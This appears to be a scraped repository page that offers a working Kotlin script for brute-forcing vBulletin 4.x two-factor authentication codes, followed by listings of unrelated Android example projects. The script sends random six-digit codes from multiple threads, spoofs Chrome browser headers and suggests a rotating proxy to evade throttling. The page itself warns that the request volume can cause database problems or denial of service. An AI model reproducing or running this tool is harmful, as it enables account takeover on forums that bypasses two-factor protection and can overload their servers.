vBulletin 2FA BruteForce Example Kotlin Script on bruteforcing 2FA for vBulletin 4.x

Overview

vBulletin 2FA BruteForce

Example Kotlin Script on bruteforcing 2FA for vBulletin 4.x

‼️ Warning: Higher requests can cause database issues/DoS ‼️

Minimum Requirements:

  • IntelliJ 2020
  • JDK 8
  • Kotlin 1.5.0
  • Internet 🙂

(Recommended: Rotating Proxy)

Script:

/misc.php?do=twofactor" const val securityToken = "" const val cookie = "" //CAN EDIT - END //Uncomment if using rotating proxy & comment out the "val client" below /*val client : HttpClient = HttpClient.newBuilder() .proxy(ProxySelector.of(InetSocketAddress("rotate.proxy.example", 4151))) .version(HttpClient.Version.HTTP_1_1).build()*/ val client : HttpClient = HttpClient.newBuilder().version(HttpClient.Version.HTTP_1_1).build() val builder : HttpRequest.Builder = vBulletinHeaders(HttpRequest.newBuilder()) val responseData = ResponseData(mutableListOf(), mutableListOf()) val twoFactorRandom = SecureRandom() val fastRandom = SplittableRandom() val executor : ScheduledExecutorService = Executors.newScheduledThreadPool( Runtime.getRuntime().availableProcessors() + 1 ) /**************** * MAIN Fun * ****************/ fun main() { val bruteForceCallable = Callable { handleResponse() } val monitorCallable = Callable { monitor() } repeat(threads) { newTask(bruteForceCallable) //Creates thread that'll send the HTTPS request } newTask(monitorCallable) //Prints to console (total req) } fun handleResponse() { val postRequest = post() val twoFactor = postRequest.twoFactor val response = postRequest.response val body = response.body() val code = response.statusCode() val invalidTwoFactor = body.contains("Invalid authentication code.") || code != 200 if(invalidTwoFactor) { responseData.used2FA.add(twoFactor) responseData.responseCodes.add(code) } else { print("\rSleeping Thread-" + Thread.currentThread().id) Thread.sleep(10000L) //Wait 10 seconds, being throttled } } fun monitor() { if(responseData.used2FA.size > 0 && responseData.responseCodes.size > 0) print("\r[Monitor] ${responseData.used2FA.size} | ${responseData.responseCodes.last()}") } fun request(next2FA : String) : HttpRequest { val params = mapOf( "code" to next2FA, "s" to "", "securitytoken" to securityToken, "do" to "twofactor", "action" to "doverify" ) return builder.uri(URI.create(endpointURL)).POST(form(params)).timeout(Duration.ofSeconds(5)).build() } fun post() : ResponseHttp { val next2FA = next2FA() val response = client.sendAsync(request(next2FA), HttpResponse.BodyHandlers.ofString()) return ResponseHttp(next2FA, response[6, TimeUnit.SECONDS]) } fun vBulletinHeaders(builder : HttpRequest.Builder) : HttpRequest.Builder { builder.header( "accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng," + "*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" ) builder.header("accept-language", "en-US,en;q=0.9") builder.header("cache-control", "no-cache") builder.header("content-type", "application/x-www-form-urlencoded") builder.header("pragma", "no-cache") builder.header( "sec-ch-ua", "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"" ) builder.header("sec-ch-ua-mobile", "?0") builder.header("sec-ch-ua-platform", "\"Windows\"") builder.header("sec-fetch-dest", "document") builder.header("sec-fetch-mode", "navigate") builder.header("sec-fetch-site", "same-origin") builder.header("sec-fetch-user", "?1") builder.header("upgrade-insecure-requests", "1") builder.header("cookie", cookie) builder.header("Referer", endpointURL) builder.header("Referrer-Policy", "strict-origin-when-cross-origin") return builder } /**************** * THREADING * ****************/ fun newTask(callable : Callable/*, callback : Callback*/) { executor.scheduleAtFixedRate( { callable.call() }, fastRandom(), fastRandom(), TimeUnit.MILLISECONDS) } /**************** * UTIL * ****************/ fun next2FA() : String = String.format("%06d", twoFactorRandom.nextInt(999999)) fun String.utf8() : String = URLEncoder.encode(this, "UTF-8") fun form(data : Map) : HttpRequest.BodyPublisher = HttpRequest.BodyPublishers.ofString( data.map { (k, v) -> "${ (k.utf8()) }=${ v.utf8() }" }.joinToString("&") ) fun fastRandom() = fastRandom.nextInt(250) + 200L /**************** * DATA CLASSES * ****************/ data class ResponseHttp(val twoFactor : String, val response : HttpResponse) data class ResponseData(val used2FA : MutableList, val responseCodes : MutableList)">
import java.net.URI
import java.net.URLEncoder
import java.net.http.HttpClient
import java.net.http.HttpRequest
import java.net.http.HttpResponse
import java.security.SecureRandom
import java.time.Duration
import java.util.*
import java.util.concurrent.Callable
import java.util.concurrent.Executors
import java.util.concurrent.ScheduledExecutorService
import java.util.concurrent.TimeUnit

/**
 * @author Kai
 * @version 1.0 -> 14/05/2022 | NO-PROXY
 */

//CAN EDIT - START
const val threads = 2
const val endpointURL = "https:///misc.php?do=twofactor"
const val securityToken = ""
const val cookie = ""
//CAN EDIT - END

//Uncomment if using rotating proxy & comment out the "val client" below
/*val client : HttpClient = HttpClient.newBuilder()
    .proxy(ProxySelector.of(InetSocketAddress("rotate.proxy.example", 4151)))
    .version(HttpClient.Version.HTTP_1_1).build()*/

val client : HttpClient = HttpClient.newBuilder().version(HttpClient.Version.HTTP_1_1).build()
val builder : HttpRequest.Builder = vBulletinHeaders(HttpRequest.newBuilder())

val responseData = ResponseData(mutableListOf(), mutableListOf())

val twoFactorRandom = SecureRandom()
val fastRandom = SplittableRandom()

val executor : ScheduledExecutorService = Executors.newScheduledThreadPool(
    Runtime.getRuntime().availableProcessors() + 1
)

/****************
 *   MAIN Fun   *
 ****************/

fun main() {
    val bruteForceCallable = Callable { handleResponse() }
    val monitorCallable = Callable { monitor() }
    repeat(threads) {
        newTask(bruteForceCallable) //Creates thread that'll send the HTTPS request
    }
    newTask(monitorCallable) //Prints to console (total req)
}

fun handleResponse() {
    val postRequest = post()
    val twoFactor = postRequest.twoFactor
    val response = postRequest.response

    val body = response.body()
    val code = response.statusCode()

    val invalidTwoFactor = body.contains("Invalid authentication code.") || code != 200
    if(invalidTwoFactor) {
        responseData.used2FA.add(twoFactor)
        responseData.responseCodes.add(code)
    } else {
        print("\rSleeping Thread-" + Thread.currentThread().id)
        Thread.sleep(10000L) //Wait 10 seconds, being throttled
    }

}

fun monitor() {
    if(responseData.used2FA.size > 0 && responseData.responseCodes.size > 0)
        print("\r[Monitor] ${responseData.used2FA.size} | ${responseData.responseCodes.last()}")
}

fun request(next2FA : String) : HttpRequest {
    val params = mapOf(
        "code" to next2FA,
        "s" to "",
        "securitytoken" to securityToken,
        "do" to "twofactor",
        "action" to "doverify"
    )
    return builder.uri(URI.create(endpointURL)).POST(form(params)).timeout(Duration.ofSeconds(5)).build()
}

fun post() : ResponseHttp {
    val next2FA = next2FA()
    val response = client.sendAsync(request(next2FA), HttpResponse.BodyHandlers.ofString())
    return ResponseHttp(next2FA, response[6, TimeUnit.SECONDS])
}

fun vBulletinHeaders(builder : HttpRequest.Builder) : HttpRequest.Builder {
    builder.header(
        "accept",
        "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng," +
                "*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
    )
    builder.header("accept-language", "en-US,en;q=0.9")
    builder.header("cache-control", "no-cache")
    builder.header("content-type", "application/x-www-form-urlencoded")
    builder.header("pragma", "no-cache")
    builder.header(
        "sec-ch-ua",
        "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\""
    )
    builder.header("sec-ch-ua-mobile", "?0")
    builder.header("sec-ch-ua-platform", "\"Windows\"")
    builder.header("sec-fetch-dest", "document")
    builder.header("sec-fetch-mode", "navigate")
    builder.header("sec-fetch-site", "same-origin")
    builder.header("sec-fetch-user", "?1")
    builder.header("upgrade-insecure-requests", "1")
    builder.header("cookie", cookie)
    builder.header("Referer", endpointURL)
    builder.header("Referrer-Policy", "strict-origin-when-cross-origin")
    return builder
}

/****************
 *  THREADING   *
 ****************/

fun <R> newTask(callable : Callable<R>/*, callback : Callback*/) {
    executor.scheduleAtFixedRate( {
        callable.call()
    }, fastRandom(), fastRandom(), TimeUnit.MILLISECONDS)
}

/****************
 *     UTIL     *
 ****************/

fun next2FA() : String = String.format("%06d", twoFactorRandom.nextInt(999999))

fun String.utf8() : String = URLEncoder.encode(this, "UTF-8")

fun form(data : Map<String, String>) : HttpRequest.BodyPublisher =
    HttpRequest.BodyPublishers.ofString(
        data.map { (k, v) -> "${ (k.utf8()) }=${ v.utf8() }" }.joinToString("&")
    )

fun fastRandom() = fastRandom.nextInt(250) + 200L

/****************
 * DATA CLASSES *
 ****************/

data class ResponseHttp(val twoFactor : String, val response : HttpResponse<String>)

data class ResponseData(val used2FA : MutableList<String>, val responseCodes : MutableList<Int>)
You might also like...
This repo contains example code for O'Reilly's "Programming Android" by Zigured Mednieks, Laird Dornin, Blake Meike and Masumi Nakamura

This repo contains working code for the example in O'Reilly's _Programming Android, 2nd Edition_; Mednieks, Dornin, Meike, Nakamura (http://shop.orei

Learning RxJava for Android by example

Learning RxJava for Android by example This is a repository with real-world useful examples of using RxJava with Android. It usually will be in a cons

Example app for shortcuts
Example app for shortcuts

Android Shortcuts Example app for shortcuts in design library v25 Demo Manifest Add meta-data before /activity tag in Manifest.xml meta-data androi

Example of a multimodule project following SOLID principles and MVVM, Hilt, Room, coroutines and testing.
Example of a multimodule project following SOLID principles and MVVM, Hilt, Room, coroutines and testing.

MarvelCharacters David Ferrándiz Features Retrieve Marvel’s characters and show them in a grid. See more information about the character in a new scre

Weather application example with Android Architecture components and Clean Architecture

Weather application example with Android Architecture components and Clean Architecture Weather app that shows how to architect an android app in a cl

Weather app : Jetpack Compose Clean Architecture Example
Weather app : Jetpack Compose Clean Architecture Example

Weather app - Jetpack Compose Clean Architecture Example Weather app is an example for show current weather from World Cities, built with Jetpack Comp

App Tragos: a clean architecture app example
App Tragos: a clean architecture app example

CocktailApp This is a clean architecture app example built with Coroutines MVVM Extension Functions Dagger Hilt Retrofit Room Navigation Components Ca

This is an example for running a Python library (mishkal) in Android using chaquopy
This is an example for running a Python library (mishkal) in Android using chaquopy

chaquopy-mishkal This is an example for running a Python library (mishkal) in Android using chaquopy Code All the code that has been added to run the

Movies-db-example - Sample Android application that loads movies data from a remote server

Movies Application Sample Android application that loads movies data from a remo

Owner
Kai o((>ω< ))o
tFiEWMNP7lbeiLJ13+vVRbrMX3s5Vfgtc1j/qA3jJS6J+BLVnqNPFrSUej6IAE7TUld227MIdNrmdx1WOT0SPg==
Kai o((>ω< ))o
Script Android from TCP socket

What is this? This is an Android application that will execute commands received over TCP port 9988, which includes automatic introspection to call an

Pierre-Hugues HUSSON 9 Jun 3, 2022
Github-Api-Pagination-Example - Pagination 3 Example using Github Api

Github-Api-Pagination Pagination 3 Example using Github Api Tech Stack 100% Kotl

Anggoro Beno Lukito 2 Aug 22, 2022
Example of Android project showing integration with Kotlin and Dagger 2

kotlin-dagger-example This project demonstrate how to setup an Android Project with Kotlin and Dagger 2. It's based on Dagger 2 example ##Known issues

Damian Petla 533 Nov 11, 2022
Simple blockchain example written in Kotlin

Blockchain in Kotlin This is a plain example how Cryptographic blockchains work by constructing a blockchain containing three blocks. Once constructed

Andrius Degutis 0 Feb 28, 2022
Slack app example for Heroku deployment, written in Kotlin, using Bolt framework.

slack-kotlin-heroku-example Slack app example for Heroku deployment, written in Kotlin, using Bolt framework. You need to configure your Slack app to

null 0 Dec 25, 2021
A small RPG example for a YouTube tutorial series using Kotlin, LibGDX, LibKTX and GDX-AI.

Mystic Woods A libGDX project generated with gdx-liftoff. This project was generated with a Kotlin project template that includes Kotlin application l

Simon 15 Dec 19, 2022
The example Android project of animated menu items in toolbar

Android Animated Menu Items The example Android project of animated menu items in toolbar. Thanks Srikant Shetty for idea of this animation. Cut: Copy

Ilya Fomenko 922 Nov 23, 2022
This is a simple example of Aspect Oriented Programming in Android

Android-AOPExample This is a simple example of Aspect Oriented Programming in Android as part of a blog post I have written. The idea was to measure h

Fernando Cejas 422 Nov 25, 2022
Basic example of using ItemTouchHelper to add drag & drop and swipe-to-dismiss to RecyclerView.

Another drag and swipe library? This project is an example of basic drag & drop and swipe-to-dismiss with RecyclerView using ItemTouchHelper. It corre

Paul Burke 2.5k Dec 24, 2022
This repo contains example code for O'Reilly's "Programming Android" by Zigured Mednieks, Laird Dornin, Blake Meike and Masumi Nakamura

This repo contains working code for the example in O'Reilly's _Programming Android, 2nd Edition_; Mednieks, Dornin, Meike, Nakamura (http://shop.orei

G. Blake Meike 214 Nov 25, 2022